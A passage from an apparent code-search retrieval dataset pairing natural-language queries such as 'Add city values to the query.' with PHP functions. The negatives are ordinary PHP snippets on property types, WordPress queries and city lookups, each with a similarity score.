floatval($value);\n } else if ($type == 'Edm.Boolean') {\n if (!is_bool($value)) {\n $value = strtolower($value) == 'true';\n }\n } else if ($type == 'Edm.DateTime') {\n if (!$value instanceof DateTime) {\n $value = $this->_convertToDateTime($value);\n }\n }\n }\n \n // Set value\n $this->_dynamicProperties[strtolower($name)]->Value = $value;\n }\n return $this;\n }", "public function addType($type)\n {\n if(is_string($type))\n $this->types[] = $type;\n else\n throw new \\InvalidArgumentException('The geocoder result type must be a string value.');\n }", "private function createPropertyType(string $pomm_type): Type\n {\n $class = null;\n\n $type = match ($pomm_type) {\n 'JSON', 'Array' => Type::BUILTIN_TYPE_ARRAY,\n 'Binary', 'String' => Type::BUILTIN_TYPE_STRING,\n 'Boolean' => Type::BUILTIN_TYPE_BOOL,\n 'Number' => Type::BUILTIN_TYPE_INT,\n default => Type::BUILTIN_TYPE_OBJECT,\n };\n\n return new Type($type, false, $class);\n }", "protected function property($name, $type)\n {\n $class_name = $this->getPropertyClass($type);\n $this->$name = new $class_name($name);\n $this->properties[$name] = &$this->$name;\n return $this->$name;\n }", "function add_custom_post_type_to_the_loop( $query ) {\n\tif ($query->is_home() && $query->is_main_query() ) {\n //$query->set('post_type', array('post', 'kopparpannan-whisky', 'kopparpannan-event'));\n $query->set('post_type', array('post', 'kopparpannan-event'));\n\t}\n}", "protected function prepareForDatabase($property, $value)\n {\n $type = $this->getPropertyType($property);\n\n if ($type === 'array' && is_array($value)) {\n return implode(',', $value);\n }\n if (is_bool($value)) {\n $value = (int) $value;\n }\n\n return $value;\n }", "function aurum_search_page_filter_by_post_type( $query ) {\n\t\n\tif ( $query->is_main_query() && $query->is_search() ) { \n\t\t\n\t\t$query->set( 'posts_per_page', apply_filters( 'laborator_search_results_count', 10 ) );\n\t\t\n\t\tif ( isset( $_GET['type'] ) ) {\n\t\t\t$post_type = sanitize_title_for_query( $_GET['type'] );\n\t\t\t$query->set( 'post_type', $post_type );\n\t\t}\n\t}\n}", "function fiftyone_degrees_get_typed_value($property, $profile_value) {\n $value_string = $profile_value['value'];\n switch ($property['value_type_id']) {\n // String and Javascript.\n case 0:\n case 4:\n default:\n return $value_string;\n // Int.\n case 1:\n return (int) $value_string;\n // Double.\n case 2:\n return (double) $value_string;\n // Bool.\n case 3:\n return $value_string === 'True';\n }\n}", "public function getQueryType();", "public function test_papi_get_property_type_custom() {\n\t\tadd_action('papi_include_properties', function() {\n\t\t\trequire_once(dirname(__FILE__) . '/../data/properties/class-papi-property-kvack.php');\n\t\t});\n\n\t\tdo_action('papi_include_properties');\n\n\t\t$this->assertTrue( _papi_get_property_type( 'kvack' ) instanceof Papi_Property_Kvack );\n\t}", "protected function getFilterProperty($propertyType)\n\t{\n\t\tif (!isset($this->propertyFilter))\n\t\t{\n\t\t\t$this->propertyFilter = array(\n\t\t\t\tStorage::DICTIONARY => array(),\n\t\t\t\tStorage::STRING => array(),\n\t\t\t\tStorage::NUMERIC => array(),\n\t\t\t\tStorage::DATETIME => array(),\n\t\t\t);\n\t\t\t$propertyList = \\Bitrix\\Iblock\\SectionPropertyTable::getList(array(\n\t\t\t\t\"select\" => array(\"PROPERTY_ID\", \"PROPERTY.PROPERTY_TYPE\", \"PROPERTY.USER_TYPE\"),\n\t\t\t\t\"filter\" => array(\n\t\t\t\t\t\"=IBLOCK_ID\" => array($this->iblockId, $this->skuIblockId),\n\t\t\t\t\t\"=SMART_FILTER\" => \"Y\",\n\t\t\t\t),\n\t\t\t));\n\t\t\twhile ($link = $propertyList->fetch())\n\t\t\t{\n\t\t\t\t$storageType = $this->getPropertyStorageType(array(\n\t\t\t\t\t\"PROPERTY_TYPE\" => $link[\"IBLOCK_SECTION_PROPERTY_PROPERTY_PROPERTY_TYPE\"],\n\t\t\t\t\t\"USER_TYPE\" => $link[\"IBLOCK_SECTION_PROPERTY_PROPERTY_USER_TYPE\"],\n\t\t\t\t));\n\t\t\t\t$this->propertyFilter[$storageType][] = $link[\"PROPERTY_ID\"];\n\t\t\t}\n\t\t}\n\t\treturn $this->propertyFilter[$propertyType];\n\t}", "public function setAzurePropertyType($name, $type = 'Edm.String')\n {\n if (!array_key_exists(strtolower($name), $this->_dynamicProperties)) {\n $this->setAzureProperty($name, '', $type); \n } else {\n $this->_dynamicProperties[strtolower($name)]->Type = $type; \n }\n return $this;\n }", "public function addActionPropertyTypeRelatedByactionTypeId(ActionPropertyType $l)\n {\n if ($this->collActionPropertyTypesRelatedByactionTypeId === null) {\n $this->initActionPropertyTypesRelatedByactionTypeId();\n $this->collActionPropertyTypesRelatedByactionTypeIdPartial = true;\n }\n if (!in_array($l, $this->collActionPropertyTypesRelatedByactionTypeId->getArrayCopy(), true)) { // only add it if the **same** object is not already associated\n $this->doAddActionPropertyTypeRelatedByactionTypeId($l);\n }\n\n return $this;\n }", "protected function getPropertyTypeAttributes()\n {\n return array_merge(\n $this->getCommonAttributes(),\n array(\n 'multiple' => array('values' => array('*', 'mul', 'multiple'), 'variant' => true),\n 'queryops' => array('values' => array('qop', 'queryops'), 'variant' => true), // Needs special handling !\n 'nofulltext' => array('values' => array('nof', 'nofulltext'), 'variant' => true),\n 'noqueryorder' => array('values' => array('nqord', 'noqueryorder'), 'variant' => true),\n )\n );\n }", "private function add(string $name, $type) : Scalar {\n\t\t$field = new Scalar($name, $type);\n\t\t$this->fields[$name] = $field;\n\t\treturn $field;\n\t}", "function findByPropertyValue($prop_id, $rel_value) {\n\t\t$qb = $this->createQueryBuilder('n');\n\t\t$qb->innerJoin(\"n.relations\",\"rel\",Join::WITH,\n\t\t\t$qb->expr()->eq(\"n.id\",\"rel.startNode\")\n\t\t);\n\n\t\t$propQuery = $this->getEntityManager()->createQuery('SELECT p.datatype FROM :Property p WHERE p.id = ?1');\n\t\t$propQuery->setParameter(1,$prop_id);\n\t\t$propType = $propQuery->getSingleScalarResult();\n\n\t\tif($propType == 'geometry'){\n\t\t\t$qb->where(\"rel.property = ?1 AND rel.geometryvalue = ?2\");\n\t\t}elseif($propType == 'node'){\n\t\t\t$qb->where(\"rel.property = ?1 AND rel.nodevalue = ?2\");\n\t\t}else {\n\t\t\t$qb->where(\"rel.property = ?1 AND lower(rel.value) = lower(?2)\");\n\t\t}\n\n\t\t$qb->setParameters(array(\n\t\t\t1 => $prop_id,\n\t\t\t2 => $rel_value\n\t\t));\n\t\t//return $qb->getQuery();\n\t\treturn $qb->getQuery()->getResult();\n\t}", "private static function _isPropertyType($type, $value){\n $nativeType = self::_getNativeType($type);\n if ($nativeType != null){\n switch($nativeType){\n case 'boolean':\n if (is_bool($value)){\n return true;\n } else if (is_numeric($value) && ($value == 0 || $value == 1)){\n return true;\n } else if (is_string($value)){\n if ($value == 'true' || $value == 'false'){\n return true;\n } else if ($value == '1' || $value == '0'){\n return true;\n }\n }\n break;\n case 'integer':\n if (is_int($value)){\n return true;\n } else if (preg_match('/^[0-9]+$/', $value)){\n return true;\n }\n break;\n case 'double':\n if (is_float($value) || is_numeric($value)){\n return true;\n }\n break;\n case 'datetime':\n if (is_int($value) || strtotime($value)){\n return true;\n }\n break;\n case 'binary':\n if (is_binary($value)){\n return true;\n }\n break;\n case 'ascii':\n if (is_string($value)){\n return true;\n }\n break;\n case 'instance':\n $uuid = null;\n if (is_object($value) && isset($value->uuid) && is_mysql_uuid($value->uuid)){\n $uuid = $value->uuid;\n } else if (is_mysql_uuid($value)){\n $uuid = $value;\n }\n if ($uuid != null){\n $id = Mysql::query(\"SELECT MAX(id) FROM t_instance where uuid = '{$uuid}'\");\n if ($id && is_int($id)){\n return true;\n }\n }\n break;\n }\n }\n\n // all else failed\n return false;\n }", "public function AddType($type) {\n $this->Types[] = $type;\n }", "protected function getEntityByTypeAndProperty($entity_type, $bundle, $property, $value) {\n $query = new EntityFieldQuery();\n $query->entityCondition('entity_type', $entity_type);\n $query->propertyCondition('type', $bundle);\n $query->propertyCondition($property, $value);\n $entities = $query->execute();\n Assertions::assertTrue(isset($entities['node']), 'node not found');\n Assertions::assertCount(1, $entities['node'], 'more than one node found');\n\n return node_load(key($entities['node']));\n }", "public function addObjectProperty($field, ObjectProperty $property);", "private function mapPropertyToField( $result, $property ) {\n\t\t\t// Map attributes back into option_value\n\t\t\t//\n\t\t\tif ( $property == 'option_value' ) {\n\t\t\t\t$this->$property = maybe_serialize( $this->attributes );\n\t\t\t}\n\n\t\t\t// Set field to property\n\t\t\t//\n\t\t\t$result[ $this->dbFieldPrefix . $property ] = $this->$property;\n\n\t\t\treturn $result;\n\t\t}", "public function addProperty(Entities\\Devices\\Properties\\Property $property): void\n\t{\n\t\tif (!$this->properties->contains($property)) {\n\t\t\t// ...and assign it to collection\n\t\t\t$this->properties->add($property);\n\t\t}\n\t}", "public function getQueryType() : ?\\GraphQL\\Type\\Definition\\Type\n {\n }", "function mdl_create_property_getter(ValueContainer $property, string $type = null)\n{\n $type = str_replace(\"\\\\\\\\\", \"\\\\\", $type);\n return PHPClassMethod('get' . mdl_str_camelize($name = $property->getName()), [], $type, 'public', \"Get $name property value\")->addLine(\"return \\$this->\" . $name);\n}", "public function store(Request $request, Type $type)\n {\n $request = $request->all()['PropertyTypes'];\n \n if($type->create($request))\n {\n return response()->json(['success'=>'Property type created successfuly']);\n }\n else\n {\n return response()->json(['error'=>'Property type creation failed']);\n }\n }", "protected function indexCommand($type, $property)\n {\n return $this->addCommand($type, compact('property'));\n }", "function papi_append_post_type_query( $url, $post_type_arg = null ) {\n\tif ( strpos( $url, 'post_type=' ) !== false ) {\n\t\treturn preg_replace( '/&%.+/', '', $url );\n\t}\n\n\t$post_type = '';\n\n\t// Only change post type if post type arg isn't the same.\n\tif ( $post_type_arg !== $post_type ) {\n\t\t$post_type = $post_type_arg;\n\t}\n\n\t// Add post type if empty.\n\tif ( empty( $post_type ) ) {\n\t\t$post_id = papi_get_post_id();\n\n\t\tif ( $post_id === 0 ) {\n\t\t\t$post_type = papi_get_or_post( 'post_type' );\n\t\t} else {\n\t\t\t$post_type = get_post_type( $post_id );\n\t\t}\n\n\t\tif ( empty( $post_type ) ) {\n\t\t\t$post_type = $post_type_arg;\n\t\t}\n\n\t\tif ( empty( $post_type ) ) {\n\t\t\t$post_type = 'post';\n\t\t}\n\t}\n\n\t// Add right query string character.\n\tif ( ! empty( $post_type ) ) {\n\t\tif ( substr( $url, - 1, 1 ) !== '&' ) {\n\t\t\t$url .= '&';\n\t\t}\n\n\t\t$url .= 'post_type=' . $post_type;\n\t}\n\n\treturn $url;\n}", "public function type()\n {\n return $this->belongsTo('App\\Models\\Properties\\Type');\n }", "public function setType($v)\n { return $this->set('type', $v); }", "public function setType($value)\n {\n return $this->setParameter('type', $value);\n }", "public function setProperty($property, $value)\n\t{\n\t\tglobal $mysql;\n\t\t$property = real_escape_string($property);\n\t\t$value = real_escape_string($value);\n\t\t\n\t\treturn $mysql->query(\"UPDATE laptops SET `\".$property.\"` = '\".$value.\"' WHERE `id` = \".$this->getID());\n\t}", "private function _property(EntityProperty $property) {\n static $marks = [\n Flags::IS_STATIC => \"ZEND_ACC_STATIC\",\n Flags::IS_PUBLIC => \"ZEND_ACC_PUBLIC\",\n Flags::IS_PROTECTED => \"ZEND_ACC_PROTECTED\",\n Flags::IS_PRIVATE => \"ZEND_ACC_PRIVATE\"\n ];\n $flags = [];\n foreach($marks as $mark => $flag) {\n if($property->flags & $mark) {\n $flags[] = $flag;\n }\n }\n $flags = implode(\" | \", $flags);\n switch($property->type) {\n case Types::INT:\n return \"REGISTER_CLASS_LONG_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", {$property->value}, {$flags});\";\n case Types::STRING:\n return \"REGISTER_CLASS_STRING_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", \\\"\".addslashes($property->value).\"\\\", {$flags});\";\n case Types::BOOLEAN:\n return \"REGISTER_CLASS_BOOL_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", \".intval($property->value).\", {$flags});\";\n case Types::NIL:\n return \"REGISTER_CLASS_NULL_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", {$flags});\";\n case Types::DOUBLE:\n return \"REGISTER_CLASS_DOUBLE_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", {$property->value}, {$flags});\";\n default:\n throw new \\LogicException(\"Unknown type $property\");\n }\n }", "function namespace_add_custom_types( $query ) {\n\t// if( is_category() || is_tag() && empty( $query->query_vars['suppress_filters'] ) ) {\n\tif ( is_category() || is_tag() ) {\n\t\t$query->set( 'post_type', array( 'post', 'forums', 'author' ) );\n\t\treturn $query;\n\t}\n}", "public function get_property_type_translation($v){\n global $wp_properties;\n $type_package = array(\n 'kind' => 'Property Types',\n 'name' => 'custom-types',\n 'title' => 'Property Types',\n );\n\n $key = array_search($v,$wp_properties['property_types']);\n return ($key !== false) ? apply_filters( 'wpml_translate_string', $v,$key, $type_package ) : $v;\n }", "public function add($val, $type = NULL) {\n if (is_null($type)) {\n if (is_integer($val)) $type = \"i\";\n else if (is_double($val)) $type = \"d\";\n else $type = \"s\";\n }\n $this->types .= $type;\n array_push($this->items, $val);\n }", "private function resolveType(string $type, ReflectionProperty $property): string\n {\n $appendArray = strpos($type, '[]') !== false;\n $type = str_replace('[]', '', $type);\n\n if (\\in_array($type, $this->builtInTypes, true)) {\n if ($appendArray) {\n $type .= '[]';\n }\n\n return $type;\n }\n\n $class = $property->getDeclaringClass();\n\n // If the class name is not fully qualified (i.e. doesn't start with a \\)\n if ($type[0] !== '\\\\') {\n // Try to resolve the FQN using the class context\n $resolvedType = $this->tryResolveFqn($type, $class, $property);\n\n if (!$resolvedType) {\n throw new AnnotationException(sprintf('The @var annotation on %s::%s contains a non existent class \"%s\". '.'Did you maybe forget to add a \"use\" statement for this annotation?', $class->name, $property->getName(), $type));\n }\n\n $type = $resolvedType;\n }\n\n if (!$this->classExists($type)) {\n throw new AnnotationException(sprintf('The @var annotation on %s::%s contains a non existent class \"%s\"', $class->name, $property->getName(), $type));\n }\n\n // Remove the leading \\ (FQN shouldn't contain it)\n $type = ltrim($type, '\\\\');\n\n if ($appendArray) {\n $type .= '[]';\n }\n\n return $type;\n }", "function query_post_type($query) {\n\tif ( is_admin() || ! $query->is_main_query() ) {\n\t\treturn;\n\t}\n\n\tif ( is_category() || is_tag() && empty( $query->query_vars['suppress_filters'] ) ) {\n\n\t\t// Replace these slugs with the post types you want to include.\n\t\t$cptui_post_types = array( 'event' );\n\n\t\t$query->set(\n 'post_type',\n array_merge(\n\t\t\t\tarray( 'post' ),\n\t\t\t\t$cptui_post_types\n\t\t\t)\n\t\t);\n\t}\n}", "protected function getTypeParam()\n {\n }", "static public function objectToQuery($type)\n\t{\n\t\treturn QuickBooks_Utilities::actionToObject($type) . 'Query';\n\t}", "function PdfType(&$value) {\n $this->setValue($value);\n }", "public function push($value): IProperty;", "public function escape_value($type,$value=null)\n\t{\n\t\tif ($value==null)\n\t\t\t$value=$this->value;\n\t\t\n \t\t$value=str_replace(\"'\",\"''\",$value);\n\t\t\n\t\tswitch($type)\n\t\t{\n\t\t\tcase Field::STRING:\n\t\t\tcase Field::TEXT:\n\t\t\t\treturn \"'$value'\";\n\t\t\tcase Field::BOOLEAN:\n\t\t\t\treturn ($value) ? \"true\" : \"false\";\n\t\t\tcase Field::OBJECT:\n\t\t\t\treturn \"'\".(($value instanceof DynamicObject) ? $value->to_string() : serialize($value)).\"'\";\n\t\t\tdefault:\n\t\t\t\tif (is_numeric($value))\n\t\t\t\t\treturn $value;\n\t\t\t\telse\n\t\t\t\t\treturn \"'$value'\";\n\t\t}\n\t}", "public function setType(SearchType $type)\n {\n return $this->setProperty('type', $type);\n }", "protected function processNodePropertyObject($name, $value, array &$properties)\n {\n if (!empty($value->type) || !empty($value->lang)) {\n $properties[$name]->values[] = $value;\n\n // @type = @id\n } elseif (!empty($value->id)) {\n $properties[$name]->values[] = $value->id;\n }\n }", "protected function _meta($type, $name, $value)\n\t{\n\t\t$meta = isset($this->_metas[$type][$name]) ? $this->_metas[$type][$name] : null;\n\t\tif (!$meta || (isset($meta['options']) && !in_array($value, $meta['options']))) {\n\t\t\treturn;\n\t\t}\n\t\t$meta += ['keyword' => '', 'escape' => false, 'join' => ' '];\n\t\textract($meta);\n\t\tif ($escape === true) {\n\t\t\t$value = $this->value($value, ['type' => 'string']);\n\t\t}\n\t\t$result = $keyword . $join . $value;\n\t\treturn $result !== ' ' ? $result : '';\n\t}", "function __set($strProperty, $strValue)\r\n\t{\r\n\t\t$this->_arrWhere[$strProperty] = $strValue;\r\n\t}", "public function getDataWithTypeField() {}", "public function addType($type) {\n $this->type[] = $type;\n return $this;\n }", "public function setTyp( $type );", "private function getWithType($reverse_geocoding, $type, $property = 'long_name')\n {\n foreach ($reverse_geocoding as $object) {\n\n foreach ($object->address_components as $address_components) {\n if (in_array($type, $address_components->types)) {\n return $address_components->$property;\n }\n }\n }\n }", "function tbx_add_custom_types( $query ) {\n if( is_category() || is_tag() && empty( $query->query_vars['suppress_filters'] ) ) {\n $query->set( 'post_type', array(\n 'post', 'lesson', 'source'\n\t\t));\n\t return $query;\n\t}\n}", "public function property(&$class, $property);", "public function setPersonType($value)\n {\n $this->setProperty(\"PersonType\", $value, true);\n }", "protected function getPropertyType(\\SimpleXMLElement $propertyNode) {\n\t\t$attributes = $propertyNode->attributes();\n\n\t\tswitch ($attributes['type']) {\n\t\t\tcase 'int':\n\t\t\t\t$dataType = ExpressionValue::TYPE_INTEGER;\n\t\t\t\tbreak;\n\n\t\t\tcase 'float':\n\t\t\t\t$dataType = ExpressionValue::TYPE_FLOAT;\n\t\t\t\tbreak;\n\n\t\t\tcase 'null':\n\t\t\t\t$dataType = ExpressionValue::TYPE_NULL;\n\t\t\t\tbreak;\n\n\t\t\tcase 'string':\n\t\t\t\t$dataType = ExpressionValue::TYPE_STRING;\n\t\t\t\tbreak;\n\n\t\t\tcase 'bool':\n\t\t\t\t$dataType = ExpressionValue::TYPE_BOOLEAN;\n\t\t\t\tbreak;\n\n\t\t\tcase 'object':\n\t\t\t\t$dataType = ExpressionValue::TYPE_OBJECT;\n\t\t\t\tbreak;\n\n\t\t\tcase 'array':\n\t\t\t\t$dataType = ExpressionValue::TYPE_ARRAY;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t$dataType = ExpressionValue::TYPE_UNKNOWN;\n\t\t}\n\n\t\treturn $dataType;\n\t}", "protected function castToType($value, $property)\n {\n $type = $this->getPropertyType($property);\n\n switch ($type) {\n case 'array':\n return is_array($value) ? $value : explode(\",\", $value);\n case 'bool':\n case 'boolean':\n return (boolean) $value;\n case 'int':\n case 'integer':\n return (int) $value;\n case 'string':\n return (string) $value;\n default:\n return $value;\n }\n }", "public function add(string $key, mixed $value, mixed $type = null): void;" ]
[ "0.6099817", "0.57552767", "0.5656091", "0.554274", "0.5538237", "0.55146873", "0.5458061", "0.5362852", "0.53058255", "0.52917534", "0.5281052", "0.52542603", "0.5216672", "0.5216672", "0.5216672", "0.5216672", "0.5216672", "0.52119863", "0.5204589", "0.5187124", "0.5169798", "0.51636034", "0.5102374", "0.50951165", "0.5060907", "0.5060907", "0.5054699", "0.5046839", "0.50466377", "0.50452995", "0.5032104", "0.5025274", "0.50229955", "0.50000256", "0.49933285", "0.49825138", "0.49820143", "0.49700564", "0.49627054", "0.4945964", "0.49439567", "0.4937754", "0.49348098", "0.49329445", "0.49232432", "0.489348", "0.48849723", "0.48785222", "0.48619136", "0.48544776", "0.485442", "0.48438802", "0.48370463", "0.48369062", "0.48360655", "0.48297402", "0.48265672", "0.48166785", "0.4815151", "0.48113933", "0.4800123", "0.4798574", "0.47926873", "0.4785479", "0.47831312", "0.47773713", "0.477446", "0.47615746", "0.47520456", "0.4747801", "0.47411448", "0.47315174", "0.47282177", "0.4722982", "0.47219938", "0.4711069", "0.47018185", "0.47014448", "0.4700371", "0.4690349", "0.46731028", "0.46717387", "0.46689916", "0.46668485", "0.46571758", "0.46517372", "0.4646626", "0.46414915", "0.46394658", "0.46387193", "0.46320242", "0.46305966", "0.46282417", "0.4623934", "0.46149385", "0.4611513", "0.45999905", "0.4596127", "0.4575858", "0.45644012" ]
0.4933097
43
Add city values to the query.
public function scopeWithCity($query) { return $query->join('cities', 'cities.id', '=', 'properties.city_id') ->addSelect('cities.name as city'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function addCity($inputCity) {\n if($inputCity == '')\n return; \n $userCity = $this->cityName($inputCity); \n \n # always add Vacation qualities\n $this->perfectCity = array_merge($this->perfectCity, \n $this->cities[$userCity]['Vacation']); \n \n # add Permanent qualities if purpose is Permanent \n if($this->purposeForTravel == 'Permanent')\n $this->perfectCity = array_merge($this->perfectCity, \n $this->cities[$userCity]['Permanent']); \n }", "protected function updateCities()\n {\n $this->execute(<<<SQL\nUPDATE jl_loc_city jlc \n INNER JOIN jl_loc_region jlr ON jlr.id = jlc.region_id\n INNER JOIN jl_loc_state jls ON jls.id = jlr.state_id\n INNER JOIN jl_loc_country jlco ON jlco.id = jls.country_id\n SET jlc.country_id = jlco.id, jlc.state_id = jls.id;\nSQL\n );\n }", "public function setCity($city = \"\");", "public function setCity($city)\n {\n $this->setParameter('city', $city);\n\n return $this;\n }", "public function actionCity() {\n\t\t$term = (isset($_POST['term'])) ? $_POST['term'] : false;\n\t\t$region = (isset($_POST['region'])) ? (int)$_POST['region'] : false;\n\t\t//$simple = (isset($_POST['simple'])) ? (int)$_POST['simple'] : true;\n\n\t\tif(Yii::app()->request->isAjaxRequest && $term) {\n\t\t\t$criteria = new CDbCriteria;\n\t\t\t$criteria->addSearchCondition('t.name', $term);\n\t\t\tif ($region>0)\n\t\t\t\t$criteria->addSearchCondition('t.region_id', $region, false);\n\t\t\t$criteria->order = 't.type asc';\n\t\t\t$criteria->limit = (strlen($term)>4) ? 30 : 15;\n\t\t\t$criteria->with = 'district2';\n\n\t\t\t$citys = CityUa::model()->findAll($criteria);\n\n\t\t\t// обрабатываем результат\n\t\t\t$data = array();\n\t\t\tif (count($citys)>0) {\n\t\t\t\tforeach($citys as $city) {\n\t\t\t\t\t$data[] = array(\n\t\t\t\t\t\t'id'=>$city['id'],\n\t\t\t\t\t\t'label'=>$city->Li,\n\t\t\t\t\t\t'value'=>$city->preName,\n\t\t\t\t\t\t'r'=>$city['region_id'],\n\t\t\t\t\t\t'd'=>$city['district'],\n\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$data[] = array(\n\t\t\t\t\t'label'=>'Ничего не найдено',\n\t\t\t\t\t'value'=>'',\n\t\t\t\t\t'r'=>'',\n\t\t\t\t\t'd'=>''\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t$this->sendResult($data);\n\t\t\tYii::app()->end();\n\t\t}\n\t}", "public function getCity()\n {\n // return $sql;\n }", "function fn_cp_edost_improvement_rus_cities_find_cities($params, $lang_code, $items_per_page, $search, $fields, &$join, $condition)\n{\n}", "public function search($city);", "public function setCity($newCity){\n\t}", "function Add_City(){\n\t\t\n\t\t//when click on button\n\t\tif(isset($_POST['citybtn'])){\n\t\t\t\n\t\t\t//for insert values into table\n\t\t\t$values = \"'\".$_POST[\"city\"].\"'\";\n\t\t\t\n\t\t\t//add city into table\n\t\t\t$this->Add('city',$values,'Add-City?m');\n\t\t\t\n\t\t} // ifisset close\n\t}", "public function get_all_city()\n\t {\n\t \t $data=(array)json_decode(file_get_contents(\"php://input\"));\n\t \t$id=$data['state_id'];\n\t \t$query=$this->ApiModel->get_all_city($id);\n\t \techo json_encode($query);\n\t }", "public function getCityList() {\n\t\treturn $this->getByKey(Config::get('constants.KEY_CITY'));\n\t}", "abstract public function city();", "function setCity($city) {\r\r\n\t\t$this->city = $city;\r\r\n\t}", "public function setCity($value) {\n\t\tself::$_city = $value;\n\t}", "public function addNewCity($latitude,$lng,$detail_city){\r\n\t\t}", "public function setCity(?string $city): self\n {\n $this->initialized['city'] = true;\n $this->city = $city;\n\n return $this;\n }", "public function setCity($value)\n {\n parent::setValue('city', $value);\n\n return $this;\n }", "public function setCity($city) \n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\r\n {\r\n $this->_city = $city;\r\n }", "public function getCity()\n {\n return parent::getValue('city');\n }", "public function addForSelect() {\n\n\t\t//Prevent users from accessing it directly.\n\t\tif (!$this->request->is('ajax')) {\n\t\t\treturn $this->redirect(['action' => 'index']);\n\t\t}\n\t\t$this->City->create();\n\t\tif (!$this->City->save($this->request->data)) {\n\t\t\tthrow new Exception('The city could not be saved');\n\t\t}\n\t\t$cities = $this->City->findByStateId('list', $this->request->data('City.state_id'));\n\t\t$this->set(compact('cities'));\n\t}", "public function getCity() {}", "public function cities(Request $request): CityCollection\n {\n return CityCollection::make(City::query()->with('translates')->filter($request->only('region_id'))->paginate($request->get('perPage') ?? 50));\n }", "public function setCustomerCity($customerCity = '') {\n $city = array(\n 'x_city'=>$this->truncateChars($customerCity, 40),\n );\n $this->NVP = array_merge($this->NVP, $city); \n }", "protected function giveCity()\n\t{\n\t\treturn \"Orland\";\n\t}", "function getCity()\n\t\t{\n\t\t\t$cities = $this->manage_content->getValue('city','city_name');\n\t\t\tforeach($cities as $city)\n\t\t\t{\n\t\t\t\techo '<option value=\"'.$city['city_name'].'\">'.$city['city_name'].'</option>';\n\t\t\t}\n\t\t}", "public function getCity();", "public function setCity($city) {\n\t\t$this->city = $city;\n\t}", "public function setCity(string $city): void\n {\n $this->_city = $city;\n }", "protected function initCityAvailable()\n {\n $citisFromAPI = $this->apiWrapperRegistry->getAllCityWrapped();\n\n $availableCities = array_map(function ($element) {\n return $element->getFormattedCity();\n }, $citisFromAPI);\n\n $availableCities = array_merge(\n $availableCities,\n $this->arrayConverter->stdArrayToArray($this->jcDecauxWrapper->getContracts())\n );\n\n $availableCompleteCities = [];\n\n foreach ($availableCities as $city) {\n $availableCompleteCities[$city['name']] =\n [\n 'commercial_name' => $city['commercial_name'],\n 'country_code' => $city['country_code'],\n ];\n }\n\n $this->availableCities = $availableCompleteCities;\n }", "public function setCity($city)\n {\n $this->json()->city = $city;\n }", "public function getCity()\n {\n return $this->getParameter('city');\n }", "public function addCity(City $city)\n {\n $this->cities[] = $city;\n return $this;\n }", "public function setCity($city)\n {\n $this->city = $city;\n }", "public function setCity($city)\n {\n $this->city = $city;\n }", "public function getCityWidgetAction()\n {\n $term = $this->getRequest()->request('city', '', waRequest::TYPE_STRING_TRIM);\n\n try {\n $city = $this->suggestCity($term);\n } catch (waException $e) {\n $this->setError($e->getMessage());\n return;\n }\n\n $this->response = array(\n 'id' => $city['id'],\n 'city' => $city['cityName'],\n 'region' => $city['regionName'],\n 'country' => $city['countryName']\n );\n }", "public function addCity(array $params)\n {\n $countryId = (int)trim($_SERVER['REQUEST_URI'], '/countries/');\n $city = ucfirst($_POST['name']);\n $db = Database::getInstance()->connection();\n $countryName = $db->select('countries', '*', [\n 'id[=]' => [$countryId]\n ])[0]['name'];\n $db->insert('cities', [\n 'name' => $city,\n 'country' => $countryName\n ]);\n\n $this->show($params);\n }", "public function setCity($city)\r\n {\r\n $this->city = $city;\r\n\r\n return $this;\r\n }", "public function setCity($city)\r\n {\r\n $this->city = $city;\r\n\r\n return $this;\r\n }", "public function GetCityParam($key){\n $param = [\n \"modelName\" => \"Address\",\n \"calledMethod\" => \"getCities\",\n \"apiKey\" => $key,\n ];\n return json_encode($param);\n }", "protected function generate_city_value_list()\n {\n $sql = \"SELECT city_name FROM city_list\";\n $conn = $this -> connect();\n $stmt = $this -> query($conn, $sql);\n $this -> disconnect($conn);\n \n $list = [];\n while ($row = $stmt -> fetch()): $list[] = $row['city_name']; endwhile;\n return $list;\n }", "function addcities($cityname,$statename,$citydescription,$statuscity)\n\t{\n\t\t$names = array('name' => $cityname ,'state_id' =>$statename,'description' => $citydescription, 'status' => $statuscity);\n\t\t$add_query = $this->insert( 'cities', $names );\n\t\tif( $add_query )\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t\treturn false;\n\t}", "public function setCity(string $city)\n {\n $this->City = $city;\n return $this;\n }", "function cityadd()\n {\n $this->db2->select('city_id,city_name');\n $this->db2->order_by(\"city_name\", \"asc\");\n $records = $this->db2->get('master_cities');\n $data = array();\n foreach($records->result() as $row) {\n $data[$row->city_name] = $row->city_name;\n }\n return ($data);\n \n \n }", "public function __construct($city)\n {\n $this->city = $city;\n }", "function getCity() {\r\r\n\t\treturn $this->city;\r\r\n\t}", "public function setCity($value)\n {\n return $this->set('City', $value);\n }", "public function searchCitiesAction()\n\t{\n\t\t$city = $_GET['city'];\n\t\t\n\t\t#Get entity manager\n\t\t$em = $this->getDoctrine()->getEntityManager();\n\t\t\n\t\t#Get city repository\n\t\t$cityRepository = $em->getRepository('CmtCoreBundle:City');\n\t\t\n\t\t#Get result\n\t\t$citiesResult = $cityRepository->findAllLiveSearch($city);\n\t\t\n\t\t/* \n\t\t* Build response\n\t\t*/\n\t\t#Initialise return array\n\t\t$result = array();\n\t\t\n\t\t//Initialise counter\n\t\t$i = 0;\n\t\t#Loop results\n\t\tforeach($citiesResult as $city)\n\t\t{\n\t\t\t//Assign values\n\t\t\t$result[$i]['id'] = $city->getId();\n\t\t\t$result[$i]['slug'] = $city->getSlug();\n\t\t\t$result[$i]['name'] = $city->getName();\n\t\t\t\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\t//Count\n\t\t$result['count'] = count($result);\n\t\t\n\t\t#Return response\n\t\treturn new Response(json_encode($result));\n\t}", "public function actionCity()\n {\n $ch = curl_init();\n $header = array();\n $header[] = 'Content-length: 0';\n $header[] = 'Content-type: application/json';\n $header[] = 'secret-token: 